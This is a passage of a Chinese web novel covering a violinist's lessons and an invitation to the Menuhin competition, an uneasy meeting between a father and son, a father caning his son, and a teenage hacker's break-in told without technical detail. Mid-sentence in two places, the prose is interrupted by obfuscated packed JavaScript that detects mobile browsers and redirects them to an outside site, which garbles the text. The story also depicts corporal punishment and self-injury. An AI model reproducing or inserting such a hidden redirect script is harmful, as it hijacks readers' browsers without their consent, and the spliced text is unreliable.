顾梓聿刻意想象着右手的动作,明明还是下弓的进程中,他的大脑已经开始想象上弓的动作,而渐渐地,他每次的运弓都更加流畅,右手独立于左手的换把。他开始感觉到弓与左手之间的互动,音符直接的切换不再那么硬邦邦,而是逐渐流畅起来。他慢慢地继续弹奏上行音阶,每一个音符都与下一个音符自然衔接。C到D、E到F,他逐渐掌握了音符之间的流动感。 宋熙和观察着他的练习,偶尔轻声提醒:“试着感受弓的落点,不要让弓尖离弦太远,保持音色的稳定。在演奏时,尽量避免挤压弦的音色。” 顾梓聿深吸一口气,放松手指和腕部,集中注意力,他开始注意到弓的摆动在不同音符之间的过渡更加自如。每个音符仿佛都与身体的一部分紧密相连,音阶的每一次上行和下行,都充满了张力与流动。 “你已经能够感觉到音符的变化和弓的运作了。”宋熙和满意地点了点头,“现在,我们尝试加上一点难度,慢慢将音阶的速度加快,但要保持精准。音阶不仅是考验你指法和弓法的流畅性,也是对你感知音准与音乐节奏的训练。” 顾梓聿小心地调整了一下节奏,渐渐加快弓速,他的手指更加灵活,弓弦之间的反应也更加迅速。音符的起伏仿佛在他的指尖跳跃,弓与弦的结合声更加响亮且纯净,整个房间里回荡着悦耳的音符。 宋熙和微笑起来:“这才是音阶的真正魅力,的确,它是音乐学习中的基础,但正因为它的简单性,它才能深入到音乐的每一个层面。它为音乐家提供了一个练习的框架,让我们可以在简单的基础上不断挑战自己的技术极限、情感表达以及理论理解。所以,音阶的练习,实际上是音乐语言的一次内化,它不仅仅是技巧的积累,更是演奏者与音乐之间建立深层联系的过程。当你掌控了音符与弦之间的关系,掌控了弓与手指之间的微妙变化,你将能够更自由地用音乐表达自己。” 顾梓聿停下了手中的弓,轻轻地放松了肩膀:“我感觉到它们之间的联系了,音符不是一个个孤立的点,而是一条连绵的线。” 宋熙和点了点头,“这才是职业级别的音阶练习。” 顾梓聿点点头,这第一堂课,确实对他的练琴惯性产生了不小的震动。 如果说第一节课,宋熙和带他重新回归了基础,大道至简,那第二节课,就是有点触类旁通的意思了。 “今天我们来尝试一种不同的方式。” 照样还是在休息室里,只不过今天上课,顾梓聿甚至连琴盒都没开。 “想象一下,人声也是一种乐器,演奏小提琴就像是用你的喉咙唱歌一样,旋律和音符是有生命的,是在诉说故事的。唱歌和演奏小提琴的道理是一样的,都是用你的身体去表达旋律的呼吸。” 顾梓聿有些局促,两手轻轻摩挲,似乎有些不太适应这种方式:“可是……师兄,我不会唱歌。” “没关系,今天就当做是一次实验。我先弹一段,你来跟着唱。不用担心音准,只是让你用声音去感受旋律的流动。” 宋熙和开始在钢琴上弹奏起一段简单的旋律:“现在,放松,跟着这段旋律唱出来。” 顾梓聿深吸一口气,轻轻地哼了两声,音调有些小心翼翼,声音也稍显紧张:“啊……啊……啊……” 宋熙和耐心地停下,鼓励道:“很好,继续,感觉它的流动,就像空气在你胸腔里自由地流动。你要让每一个音符都像呼吸一样自然。” 顾梓聿轻轻点点头,尽管有些不太适应,还是继续跟着旋律唱了下去,逐渐放松了些,音量也变得稍微大了一些。 “不错,现在,试着感受一下这段旋律的情感,它是柔和的,但又有些小小的起伏,当你唱一个句子的时候,需要有开头,也有结尾,句子和句子间,有语气的停顿,衔接。” 他走到顾梓聿旁边,轻轻地拍了拍他的肩膀。 “唱歌不需要完美,重要的是放开自己,把旋律中的情感传递出去。” 顾梓聿不再那么拘谨,声音逐渐清晰:“啊……啊……啊……” 这时,他的语气开始变得生动,尝试着用自然讲述的语气,带上了些许的情感。 他渐渐放松下来:“我觉得……这段旋律有点像是在讲一个温暖的故事。” “很好,带着你的想象力,拿起琴,像你刚才唱歌那样,把声音从心里流出来。” 顾梓聿拿起了小提琴,开始轻轻地拉弓。最初的几弓有些生硬,像是还在尝试把歌声转化为乐器的歌唱。但渐渐地,他放松了些,音色变得更加圆润,旋律也变得更加流畅。随着旋律的流动,他的音色也开始富有表现力。渐渐地,他听到了风的回响,水波的轻颤。 等到最后一个音符消散,他抬起头,发现宋熙和微笑着点了点头。 今天就是顾梓聿的第三节课,而这一节课教的是顾梓聿之前从未在意过的东西——空白。 宋熙和示意顾梓聿先拉了遍音阶琶音热身。 “嗯,都还不错,唯一一点瑕疵就是右手每个音还不够均匀,这个你要注意是不是弓尖弓根的速度或者用力不太平均,还有当你准备换弦的时候,右手总有一个加速的动作,虽然真的很细微,但也会有影响。” 顾梓聿心里暗自咋舌:自己如今音阶的质量已经比在吴老师那儿上了个台阶了,师兄却总能挑出他自己从未在意过的小细节,真是火眼金睛。 “热身好了?巴赫的奏鸣曲拉过吗?哪个比较顺手?” “BWV 1001,Adagio 和 Fuga 都还可以。” 顾梓聿正好前两天才温习过,记忆正是新鲜的。 “行,拉来听听。” Adagio 拉完,看了眼宋熙和,顾梓聿放下了琴。 “拉琴的时候你在想什么?” 顾梓聿眉头微皱:“我在追求乐句之间的流畅感,怕它们停顿,怕它们不完整。” 宋熙和点头:“流畅和完整是自然的,但你忽略了音乐中的’空白’。就像画家用空白来让画面呼吸,乐曲中的暂停和停顿,也能让旋律更富生命力。” 顾梓聿眼中带着一丝疑惑:“空白?” “是的,空白。”宋熙和的声音低沉而富有磁性,“你看,每一个音符的背后,都是沉默在等待它的下一步。你能感受到这些沉默吗?它们并非死寂,它们是让音乐更深刻的时刻。” “来,再拉一次,这次注意留白。” 这一次,顾梓聿开始有意识地留下一些空白,慢慢感受到那种节奏的呼吸和停顿之间的美感。他的弓子间加入了呼吸,虽然有一些地方稍显做作和突兀,但总体来说,这首曲子不像先前那样匆忙,似乎变得更加悠长和自然。 “现在,你能感受到它们的力量吗?”宋熙和问道,目光凝视着他的每一个动作。 顾梓聿轻轻点头,内心似乎被某种温柔的力量触动了:“我能感觉到它们不再是简单的音符,而是一种集体的呼吸。它们之间的间隙,带给我一种新的感觉。但是我还没能掌握,有的地方控制的不好,太生硬了。” 巴赫的奏鸣曲不同于一般的独奏作品,它虽然是单声部乐器演奏,但却需要营造出复调效果,让人听出“多个声部”同时进行。这要求演奏者精准掌控多声部旋律的平衡,让主旋律和其他声部的模仿部分清晰区分,同时聪明地塑造对位层次:某些音需要短促,某些音需要延长,以暗示和声进行。 Adagio 的特点在于它是一首装饰性极强的慢板乐章,长音的音色需要做出相应的变化以避免单调,而谱面上的和弦与旋律交替出现,更需注意声部的逻辑性,同时强调低音声部的进行,但又不能喧宾夺主。 “你需要像一位歌唱家一样去塑造旋律线条,嗯——” 宋熙和拿起自己的琴,扬琴架弓,手臂一扬,琴弦震动—— 乐句像深海的暗潮般涌动、铺陈,每一个和声都带着独立的呼吸,连绵不绝,既有数学公式般的严谨,也带着即兴的生命力。房间仿佛一下子变大了,空气被琴音充盈,墙壁也跟随这力量共振着。 顾梓聿屏住呼吸,这样近距离感受到大师级独奏家音色的张力,是截然不同的体验。每一根弦的颤动都共振他的灵魂,琴音像是直达心脏,一种难以言喻的感动瞬间涌上心头。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266190|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一曲后,宋熙和放下弓,还有余韵飘散在空中。宋熙和微微侧头:“你听出来了吗?” 顾梓聿怔怔地点头,手指紧攥着琴弓:“师兄,您演奏的节奏……比乐谱上的要更自由一些。” “自由,但有分寸。巴赫的音乐是结构性的,像建筑,但真正的演奏不是一板一眼的死板,而是有呼吸的。”他抬眼看着顾梓聿,“试试看,用你之前学到的,别刻意去追求留白,而是用你自己的声音去歌唱,想象,想象流水,想象空气流动,让乐句自己去呼吸。” 顾梓聿深吸一口气,屏息片刻,手指落在琴弦上,试着放松。他这次不去在意音准,试图忘记自己的练习痕迹,只让心中的歌唱带领他的右手,弓速渐渐舒缓下来,不再急着奔向高潮,而是让旋律自然展开,去追寻那种流动感,去感受那份空白带来的轻盈与深远。当音符不再只是排列的符号,而是连贯的叙述,一种新的律动在音乐里生长。 就在这一刻,他突然明白了时间在音乐中的意义——停顿的重量,延音的张力,音符之间的呼吸感。 宋熙和的眼神柔和下来,轻轻点头。 “很好,这是我最开始打算教你的三节课。”他的声音透着一丝满足,“现在,我们来谈谈梅纽因。” 梅纽因? 宋熙和打开休息室的窗子,冬日的寒风呼啸而入,将顾梓聿吹了个清醒。刚刚演奏完的残响仿佛还在空气里流淌,男孩疑心自己的耳朵是不是有点幻听。 哪个梅纽因?那个由20世纪最伟大的小提琴家(之一)耶胡迪-梅纽因勋爵设立的、为世界范围内22岁以下的青少年小提琴手参加的最负盛名的国际小提琴比赛? “你该去试试。” 宋熙和坐在钢琴旁,语气平稳,却带着不容置疑的笃定。 顾梓聿垂下视线,指尖无意识地摩挲着琴弓——梅纽因国际小提琴比赛,被称为“天才的摇篮”,许多顶级小提琴家,都曾在这里崭露头角。宋熙和也是在19岁拿了青年组的冠军后,获得了大量的曝光,慢慢成为了一名独奏家。 他当然想去,可是…… “师兄,我真的适合吗?” 顾梓聿轻声问道,语气里带着一丝不确定。 宋熙和抬眼看他,眼神中流露出一丝微妙的情绪,更多的是对小孩的这个态度感到有些……好笑? “你觉得你不适合?” 他的声音依旧平稳,但微微扬起的眉梢,显然对这个问题持有异议。 顾梓聿当然知道自己小提琴拉得不错,可“不错”并不意味着“足够”。是,他这么多年来都是乐团里的首席,能够带领整个弦乐组,和指挥配合默契,他也不缺演出经验,可乐团和独奏毕竟不一样,他好像从来没独自一个人站上过真正的舞台,他不知道自己在世界的坐标轴上究竟处于什么位置,不知道自己和那些真正的天才之间有多少距离。 “师兄,作为乐团首席,我很有自信,但是独奏,我从来没比过赛,第一场就去梅纽因,是不是有点太…” 宋熙和的声音平静,带着一种不可置疑的自信:“放心,你比你自己想象的要好。问题不是你的水平,而是你一直作为乐团活动,也许是欠缺了些独奏的经验,但我可以帮助你,发现你自己独特的声音。” “乐团首席和独奏家之间最重要的区别就是,独奏家要有自己的声音,要能在乐队面前独立存在,乐团的工作是制造和声,而独奏家的任务是引领整个音乐的方向。” “你现在的问题主要有三点。” “第一,乐团里的首席要平衡音色,而独奏家要塑造音色。你的音色很好,但它还不够’个人化’。换句话说,你需要找到属于自己的声音,而不是一个能融进弦乐组的声音。” 顾梓聿抿了抿唇:他在乐团里习惯了让自己的声音和整个小提琴声部融为一体,可独奏不同,独奏家必须站出来,必须让每一个音符都带上自己的色彩。 “第二,独奏家需要控制音乐,而不是被音乐推着走。” 宋熙和继续道,“在乐团里,你要跟着指挥走,跟着乐团整体的节奏调整。但作为独奏家,你才是决定音乐走向的人。你的呼吸、你的节奏、你的每一个渐强渐弱,都需要有自己的逻辑。” 顾梓聿微微皱眉:他习惯了跟随指挥的带领,但如果站上独奏的位置,一切都要由他自己决定……那是完全不同的压力。 “第三,也是最重要的一点。” 宋熙和顿了一下,目光专注地看着他,“独奏家必须要有舞台上的掌控力。” “你必须学会相信自己。” 顾梓聿心头微微一震。 “你要学会在舞台上孤身一人,面对评委、面对观众、面对整个交响乐团,仍然能用你的音乐说服他们。” 宋熙和的声音低沉,却坚定无比,“乐团首席可以有退路,独奏家没有。你站在那里,所有的灯光、所有的注意力都会集中在你身上,你必须要承受得住。” 顾梓聿轻轻吸了口气。这是他以前从未想过的问题。 现在他才明白,真正的独奏家,不仅仅是在拉琴——他必须要学会承担,学会主导,学会用自己的声音去说话。 他还没有完全准备好,可是……他真的想试试。 宋熙和看出了他的跃跃欲试,轻轻笑了一下:“不用担心,这就是我接下来要教你的东西。如果你相信我,我会让你成为一个合格的独奏家。” 顾梓聿的手指轻轻搭在指板上,指腹有些微凉。师兄声音不紧不慢,却带着不容忽视的力量。 我能做到吗? 宋熙和看着他,继续说道:“今年的梅纽因会在五月份举办,我们还有四个月的时间。时间是有些短,但只要我们一起努力,一切都有可能。” “不过,如果你真的确定参加,这四个月就会是魔鬼训练了。我不要求你完全停课,但是大量的时间是要保证给小提琴的。” 宋熙和顿了顿,语气稍微柔和了一些,“你可以回去好好想想,这是不是你想要选择的未来?” 顾梓聿明白宋熙和的意思。 如果决定参加比赛,那就不只是站上国际舞台,被世界级的评委审视,不只是与那些顶尖选手切磋竞争,他的选择也决定了,将来,他是否就真得走上这条路? 他对小提琴是热爱的,可他也知道,如果踏入职业的世界,那将是完全不同的生活。 他想了一会儿,轻声问:“师兄,您当初是怎么决定要走上这条路的?” 宋熙和看着他,嘴角勾起一抹淡淡的笑,像是想起了什么遥远的事情。他没有直接回答,而是轻轻地说道: “去试试吧。你要见过更大的世界,才知道自己想要什么。” 10. 假面 机房内,宋美人正在讲解一道经典的图论问题,屏幕上投影着一张错综复杂的图,节点和边密密麻麻,像一张精心设计的迷宫。 “这题看起来像最短路,但其实可以用差分约束系统(SPFA)来做。” 宋美人在黑板上写下核心代码框架,大家纷纷低头做着记录。有的同学已经在自己的电脑上敲下代码,试图在在线评测系统上复现讲解的内容,而有的人则在草稿纸上推导着公式,希望能彻底搞懂这道题的思路。 傅尧也沉浸在老师的讲解中。也难怪,机房内窗帘都是拉起来的,只开着白色的日光灯,在室内呆久了,很容易有种山中不知日月的遗世感。等到他觉得自己所有思路都彻底搞清晰了,才觉得这一天总算没有白费。 他笑着和旁边几个同学边聊着天,边收拾了桌上几个咖啡杯准备扔掉,再抽了几张清洁湿巾,把自己的位置、键盘、鼠标、桌面都好好擦了一遍——没错,他是有点洁癖。 就是感觉,好像忘了点什么? 直到感觉到口袋里的振动,傅尧那双漂亮的绿色眼睛才终于泄露出了一点点不安的情绪—— 他抬手看了看腕间薄薄的机械表,修长的指针恰恰指向了罗马数字VII。想起早上母亲的嘱咐,他深吸一口气,连忙将包背上,放好桌椅,疾步走出教室。 夜幕已然降临,空气里弥漫着萧瑟的冷意。他行至校门口时,脚步却不由自主地放缓了——黑色的豪华轿车静静地停靠在路灯投下的阴影里,车头的M型大灯亮着,宛如夜色中幽冷的眼睛,静静地注视着他的到来。 车门自动滑开,车内暖黄色的光线柔和而克制地洒落一角,傅尧站在原地,指尖无意识地收紧了背带。然后,他深吸一口气,弯腰坐进了车厢,下意识就用了最生疏的称呼。 “父亲大人,抱歉,我迟到了。” 司机启动了车子,在黑夜中平滑地驶出。身边的男人在灯光的萦绕下,面容竟显得有些模糊,喜怒难辨。 傅尧垂眸,视线落在前后排之间缓缓升起的分隔屏。前面是司机和男人最得力的钟助理,他并不担心这辆车的隔音效果——真正让他警惕的,是接下来这场谈话的不可预见性。他轻触后排扶手中央的按键,启动了液晶薄膜,使分隔屏变成磨砂玻璃状,隔绝了所有目光与耳语。 空间足够私密了吧,他想。 “真是失礼啊。”男人的声音缓缓响起,平稳低沉,如同深海之下的暗流,“看来你母亲没告诉你宴会是七点开始的。” “母亲告诉过我了。是我自己没有注意。对不起。” 他仍旧盯着那片已经变得模糊的分隔屏,并不打算做任何解释。他清楚,在男人看来,解释无异于掩饰,而掩饰更是一种可笑的徒劳。 车厢内弥漫着淡淡的白麝香,混合着极其克制的雪松木气息,清冷而压抑。男人的指腹缓缓摩挲着无名指上的碧玺扳指,那块碧绿的宝石在车内的柔和灯光下泛着晦暗的光,像一潭深不见底的湖水。 男人静静地打量着男孩:上次见已是一年多前,儿子看起来清瘦了些,神色倒是平静,甚至带着一丝随遇而安的慵懒。 这让他心里不太痛快。 “最近怎么样?” 男人开口,语气如常,像是在问一件无关紧要的小事。 傅尧装作没有听懂,尽量大而化之地回答:“最近气候不错,食物也合胃口。” 他没说的是,他喜欢这里,喜欢鹿城这座小城温吞的节奏,喜欢每天清晨跑步时迎面而来的熟悉街景,也喜欢自己只是个普通中学生的身份。单纯,无需算计,无需顾忌太多,不必去计算每句话背后的意义,不必时刻警惕来自四面八方的目光。人生里的头等大事就是考试排名,最残酷的厮杀就是学科竞赛。 话音刚落,一声清脆的“啪”打破了车内的沉静——那是男人关掉顶灯的声音。瞬间,如墨般流淌的黑暗吞没了整个车厢,傅尧心下一颤,立即住了口,双膝并直,拘谨地束手低头。 仅余车厢踢脚线上的指示条微微闪烁着冷调的微光。 男人淡淡一笑,语气不轻不重:“是比帝都安静多了,你待了这么些年,是不是有些乐不思蜀了?” 傅尧没应声。 黑暗里,男人依旧能勾勒出自己儿子的侧脸轮廓:他观察着,眼里带着审视,也带着一丝隐秘的情绪——是他不愿承认的,傅尧不该变成这样,一个甘于平凡、沉溺安稳的普通人。 他给傅尧时间调整,是希望傅尧走出来,而不是……沉沦进去。 “做该做的事,站在该站的位置。你一向知道该怎么做。” 儿子。 最后两个字,他几乎是无声地吐出。可那两个音节却没有消散在空气中,而是像顽强的藤蔓一般,慢慢地攀附进傅尧的心脏深处。 黑暗里,男孩垂下眼帘,轻声应道:“……是。” 他当然明白,男人从来不是在征求他的意见,他也明白,男人始终拿捏住了他的软肋。 一瞬间,小小的不忿涌上心头,傅尧语气很轻,像是不经意提起:“如果没有当年的事,我可能会是个完全不同的人吧。” 语气很淡,像是随口一提,可这句话里藏着太多情绪。既像是感慨,也像是一种怨愤。 话音落下,他立刻就后悔了。 空气微微滞了片刻。 男人没有立刻回应,仿佛这句话只是一颗微尘,落在肩头,轻轻一抖,便可置之不理。 然而,他终究没有让它随风而去。 男人神色未变,语气如常:“那就等着看别人如何收拾你,或者……收拾你在意的东西。” “是吗?”傅尧的语气听不出情绪,“如果我没有做那个决定,父亲是不是也早就有别的办法?” 良久,男人才低声道:“你六岁的时候,就做了一个大人都不一定能做的决定。” “你的决定不是被操控的,你比任何人都清楚,你想要的是什么。” 他顿了顿,语气微微一沉:“只是你自己,不愿意承认而已。” 他没有责备,没有怒气,甚至没有太多情绪起伏,仿佛只是在陈述一件已经无法改变的往事。但正是这种平静,让这句话像一把刀,缓慢地、精准地切入血肉。 傅尧的手指微微颤了一下。 “我以为你已经明白,有些事情,是没有对错的。” “你那时候才六岁,连刀都握不稳。” “但我知道怎么把自己变成一把刀。”傅尧轻轻地笑了笑,声音低得几乎听不见。 头顶的灯被重新打开,驱散了刚才凝滞的气氛。傅晋准随手打开旁边的黑色皮革盒,递过来一套全新的西装,“是去年三月份量的尺寸。我让他们加大了一点,但愿正好合身。快换上吧,快到地方了。” 傅尧伸手接过,垂下眼睑,一件件地脱下自己身上的衣物——黑色的校服外套,深蓝色的羊绒毛衣,衬衣。就在他准备换上新衣时,猝不及防地,男人轻轻地抚上了他的背脊,“儿子,你恨我吗?” “不。”傅尧身子前倾,躲开了那只保养得宜的手,自己用带着薄荷香的冰毛巾清理了一遍,开始穿上衬衣,扣上袖扣。 “不?是不想,不愿,还是不敢?几乎不敢相信,你已经这么大了。” 男人算得上是自嘲的笑了一下,“儿子,你要知道,你以为你藏得很好,但你那时才六岁,而我是你的父亲。” 傅尧胸口像是被什么堵住了,呼吸都滞了一瞬,顿了一下,开始穿裤子。他故意弄得很大声,想要以此来逃避内心的声音。 然后他开始穿皮鞋。这是男人钟爱的款。 “我知道你还在介意这件事,这么多年过去了,无论如何,我都不希望你恨我,更不希望你恨你自己。” 男人接着道,“你想要的,我给你了。”他说,语气平静得像是在谈论一场不值一提的交易,“你想要救我,想让我有一把致命的刀,我便顺势用了。” “顺势用了……”傅尧低低重复了一遍,嗓音发哑。 “但我不在的这段日子里,出乎我的意料之外,你的表现确实很糟糕。我想,回家之后,我们需要谈谈。” 傅尧的背脊僵了一瞬。衣服非常合体,不像是一个常年不在身边不熟悉自己儿子的人能做到的。他感到嘴里发苦。 “手伸过来。”男人拍了拍自己的大腿。不知道要做什么,傅尧伸出左手,手腕被男人有力地抓住,男人手心那出乎意料地的温度烧灼着他冰凉的肌肤。傅尧抿唇,心底那股无从发泄的情绪翻涌得更厉害了。 却是男人亲手解开他腕间的机械表。这枚表,是男人在那件事之后买给他的。表带之下,是一道触目惊心的疤痕。虽然因为时日久远,伤口早已愈合,但仍然有深色的痕迹盘延其上。 傅尧犹如触电般想要将手抽回来,却被男人死死攥住。男人的目光似乎并不愿在那丑陋的印记上多停留几秒,而是轻轻打开一个有着烫金P.P.字样的长条森蓝色天鹅绒盒子,取出一块傅尧很眼熟的表,珍而重之地戴在他腕上,然后锁上表带。恰恰遮住了那道痕迹。 “这是祖父大人的表吧?不行,这太贵重了。” 傅尧想要解下来,男人笑了。 “这有什么呢?不过让你戴一晚罢了。” 傅尧凝视着珐琅蓝金表盘上的金色纹样徽章,问道:“今天到底要见什么人?” 男人避而不答,只是感慨到:“儿子,我和你母亲都会记得你为这个家所付出的一切。” 傅尧自然知道他在指什么,咬着下唇,他下意识摸了摸被那块昂贵的表所遮蔽的丑陋,低声道:“我不后悔…爸爸。” 在这么久这么久以后,男孩终于妥协了。 男人欣慰地笑了,握住儿子的手,就像握紧了这世上最矜贵的珍宝。 “我爱你,儿子。” “我也爱您,爸爸。” 前排的指示灯忽然亮起,男人按下通话键。 “先生,到了。” 傅尧还在疑惑,车门已经自动打开,两列穿着红色的骑装,戴着雪白的手套的仪仗队员们下马致敬,恭谨地低头将右手握拳放在胸前致意。 理理袖口的整齐利落的熨痕,傅尧抬头,收敛所有情绪,挂起了一幅符合傅家继承人该有的微笑,走向那位风姿绰约的女人,微微躬身,温和地开口—— “母亲大人,您还是一如既往地这么美。” 外面的世界依旧繁忙,车流不断地穿梭,霓虹灯光洒在街道上,映照出这座城市不眠的夜晚。 申城,云顶山庄的绝版独墅,彭昱独自一人待在屋内。 他刚刚飞机落地,一身疲惫,还没来得及洗去一身风尘,就听到了那个让他震惊的消息。 他缓缓起身,绕过书房,走到露台上。他低头往下看,穿着蓬蓬裙的妹妹正咯咯地笑着,裙摆翻飞,她身旁那只意大利灵缇——卡拉扬,是他亲自取的名字,此刻正兴奋地绕着女孩奔跑,瘦长的身影优雅而迅疾。 父亲,还有,那个女人,他本该称呼为“小姨”,现在却即将成为他“妈妈”的女人! 讽刺至极。 他再也无法假装若无其事地坐着,胸腔里仿佛有一团烈火燃烧,灼得他窒息。下一秒,他猛地转身,踉跄着跨进房间,动作之大让门狠狠撞在墙上,发出一声沉闷的巨响。他一把拉下百叶窗,坐到那架母亲曾经弹奏过无数遍伟大作品的三角钢琴前,手一落便是《悲怆》的第三乐章,狂风暴雨的乐段铺天盖地地袭来,他仿佛听到了父亲暴怒的叱责,以及那个女人夜莺般柔软婉转的劝解声。 他根本不在乎! 琴声咆哮,指尖下的旋律被狠狠砸出,疾风骤雨般汹涌而至。每一个音符都像是一道锋利的刀刃,划破胸膛。 黑白琴键交错间,他忍不住地红了眼眶, ——如果母亲在天有灵,会怎么看待这一切? 楼梯上传来了急躁的脚步声,紧接着彭英达出现在房门口,他的嘴唇抿成了一条毫无感情的直线,脸上写满了压抑的怒意,拿起插在玄关的明宣德美人瓶里那根手指粗的藤条,大步就向儿子走去——儿子实在太不让他省心了!现在正是最危急的关头,这孩子却一点也不体贴他! “停下来。”他强抑制住怒火,却没想到儿子根本不听他的:“Eric,我叫你停下来!” 彭昱恍如未闻,十指仍在黑白琴键上跃动,钢琴声越发高亢激烈,而楼下的妹妹被吓的哭了起来,乐曲进行到了高潮! 彭英达一阵气血上涌,直接就拿着藤条向彭昱手上抽去,彭昱躲闪未及,右手结结实实受了一下,苍白的手瞬间以肉眼可见的速度开始充血,指关节也被打到,竟是轻轻动一下都撕心裂肺。 “你要敢再弹一个音,我就把你两只手都废掉。” 眼神疲惫的父亲转身即走,却没有看到背后发生的一幕: 男孩冷着脸,让钢琴盖重重地砸在未受伤的左手上:“这样,可以了吧?” 整座宅邸都笼罩在一片压抑的沉默之中。 彭英达被自己儿子的狠劲吓住了,几步上前掀起了钢琴盖,显然,儿子的手伤得很重。 ??“你疯了!” 他瞪着自己的儿子,眼里满是愤怒与难以置信。 他快速拨打了一个私人号码,吩咐让私人救护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266191|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车来接。现在正是年关时节,彭家的家庭医生也告假过节去了,彭英达居然一时间有点束手无策。 彭昱痛苦地笑了一下,左手痛的钻心,他用右手紧紧掐着左臂,眼里带着淋漓的水光。 “我没疯。” “我只是想要一个理由。” “告诉我,你到底是为什么要娶她?” “如果你愿意冷静下来——” “冷静?” 彭昱截断了他的话,嘴角带着一抹悲愤的讽刺,“你让我冷静看着你亵渎母亲的名声?你让我冷静看着你迎娶那个女人,好为了你的什么一己私利?” “你现在不理智,走,我送你去医院,等你冷静下来我们再谈。” 彭英达努力按捺着自己的怒气,“我做出这个决定是有原因的。妹妹需要一个能照顾她的人,而我也需要一个能帮助我的人。她是在这个世界上和你们兄妹有血缘关系的亲人,你不应该这么排斥她。” 彭英达静静地看着自己的儿子,眼里没有一丝愧疚。 “Eric,有时候,Eic,牺牲是必须的。” “如果我不这样做,” 彭英达压抑着声音,“会有更大的代价。” 彭昱沉默了几秒,眼神复杂。 “……你到底在盘算什么?” 他该相信这番话吗? 彭英达没有直接回答,只是看着他,眼中是从未有过的凝重。 “我没有义务向你解释。但你需要知道一点——” “你可以有你的选择,儿子,但相信爸爸,我不会害你。” 房间里陷入沉默,私人救护车的鸣笛声由远及近,彭英达看着儿子已经肿成萝卜条的左手,还是忍不住又心急又心疼地赶着儿子下楼,“得赶快去拍个片看看。” 鹿城这座滨海城市有着一座历史悠久的古老钟塔,砖混结构,历经四百余年的风霜洗礼依旧屹立不倒,连战火的洗礼都未能给她造成致命的损伤。因为总是有一大群鸽子在钟塔广场上空飞翔,或在钟塔上歇脚,因此这座塔也被人们亲切地称为“鸽堡”。此时,指针缓缓指向八点,悠扬醇厚的钟声顿时响起,飘扬在城市上空。 此时,狭小的房间里,堆满了各种各样的杂物:角落里有几本翻开了的编程书,封面已经褪色,书页的边缘有些卷曲;桌子上堆着乱七八糟的电线、硬盘、外接显示器,还有一台半组装的笔记本电脑,外壳上粘着几张 Star Wars 的贴纸。一个少年正专心致志地盯着电脑屏幕。他那一副认真专注的样子,看起来像是个爱打游戏的学生,而不是一个翻越重重防火墙查找机密的黑客。 方灵烨的手指如同跳动的精灵,在键盘上飞快舞动,机箱风扇低鸣的声音几乎与他心跳的频率重合。他紧张地屏住呼吸,电脑屏幕上,代码如瀑布般滚动着。每次关键字跳动,都会让他心跳加速。他已经通过一系列的后门渗透进入了目标网络,但接下来的部分,才是最具挑战性的。 此刻,他深知自己就如同在高空走钢丝,千钧一发,充满了未知和危险。他这段时间以来,一直以来都在一个无形的战场上,与信息安全领域的最顶尖对手们角逐。而今天,他终于突破了最为严密的防线。 这种挑战让他感到兴奋。没有人能知道他是谁,甚至没有人能追查到他身上,仿佛他就是这片黑暗中的一部分,默默游走在信息流动的边缘。 “突破防火墙的死角,绕过入侵检测系统……”他低声喃喃自语,像是在给自己打气。 随着他最后一行指令的输入,系统似乎停顿了片刻。突然,屏幕上出现了一条信息:“连接成功。” 方灵烨瞪大了眼睛,随即迅速输入了后续指令——“解锁数据库。” 在输入完毕后,数秒钟的等待几乎让他的心脏跳出了胸口。终于,屏幕上闪烁的绿色代码提醒他,他成功地获取了对方的情报。 就是它!看着看着,他脸上露出了一丝满意的微笑。 完成了这次的任务目标,方灵烨也没闲着,快速输入一串加密信息后,将文件上传到了一个安全的暗网节点中,然后关闭了所有相关程序。随着一键关闭,他快速将所有痕迹删除——不允许任何人追踪到自己的行动。 然而,就在他即将退出系统时,屏幕上出现了一个警告框:“系统安全等级提升,已开始追踪入侵来源。” 几乎无法抑制的紧张感袭上心头,方灵烨迅速判断出了自己所面临的危险——目标系统已经感知到了他的入侵,开始启用反追踪机制。 “不能慌!” 他脑海中迅速浮现出一条清晰的应对策略。反追踪系统需要时间才能完全激活,窗口时间只有几分钟。 他快速输入了退出指令,通过一条预先设置好的虚假IP线路,将自己的身份掩盖得无影无踪。同时,他利用加密技术,不断更改数据路径,将所有操作记录掩埋成一片模糊的海洋。 “来不及了!”方灵烨盯着屏幕上逐渐增加的追踪路径,脸上冷汗直冒。就在此时,屏幕突然消失,操作系统重新启动——他成功突破了系统的追踪,已经完全脱离了目标网络! 方灵烨松了一口气,闭上眼睛,深深吸了一口气,仿佛要把空气中的紧张感一并呼出。他退出了所有的程序,拔掉了网线,迅速抹去电脑中的所有痕迹。 “没人发现。”方灵烨心中轻轻松了一口气,嘴角勾起一抹微笑。他知道,这种成功感是很多人无法体会的,那是一种掌控命运的感觉,是无声无息的胜利。 今晚的计划比他预想的要顺利得多。无论是防火墙的突破,还是数据的下载,都没有出现任何意外。就连那个系统监控程序启动的瞬间,他也及时地做出了反应,将一切处理得干净利落,根本没有任何人察觉到入侵的痕迹。 打开窗子,让外面的冷风迎面吹来,过度兴奋的方灵烨被冻得哆嗦一下,头脑才慢慢冷静下来。他脑子里回想着刚才的操作步骤,思考着如何利用这些信息。毕竟,单单获取机密文件并没有什么意义,如何将其转化为实际的力量,才是他接下来最重要的任务。 